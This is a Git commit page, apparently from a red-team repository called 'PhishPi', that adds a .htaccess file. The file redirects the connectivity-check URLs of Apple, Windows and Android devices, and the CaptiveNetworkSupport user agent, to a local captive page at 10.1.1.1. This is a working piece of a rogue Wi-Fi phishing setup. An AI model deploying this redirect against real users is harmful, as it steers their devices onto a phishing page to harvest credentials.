Kaynağa Gözat

Create .htaccess

assume-breach 3 yıl önce
ebeveyn
işleme
b67b16340b
1 değiştirilmiş dosya ile 10 ekleme ve 0 silme
  1. 10 0
      PhishPi/html/.htaccess

+ 10 - 0
PhishPi/html/.htaccess

@@ -0,0 +1,10 @@
+Redirect /library/test/success.html http://10.1.1.1/index.html
+Redirect /hotspot-detect.html http://10.1.1.1/index.html
+Redirect /ncsi.txt http://10.1.1.1/index.html
+Redirect /connecttest.txt /index.html
+Redirect /fwlink/ http://10.1.1.1/index.html
+Redirect /generate_204 http://10.1.1.1/index.html
+
+RewriteEngine on
+RewriteCond %{HTTP_USER_AGENT} ^CaptiveNetworkSupport(.*)$ [NC]
+RewriteRule ^(.*)$ http://10.1.1.1/index.html [L,R=301]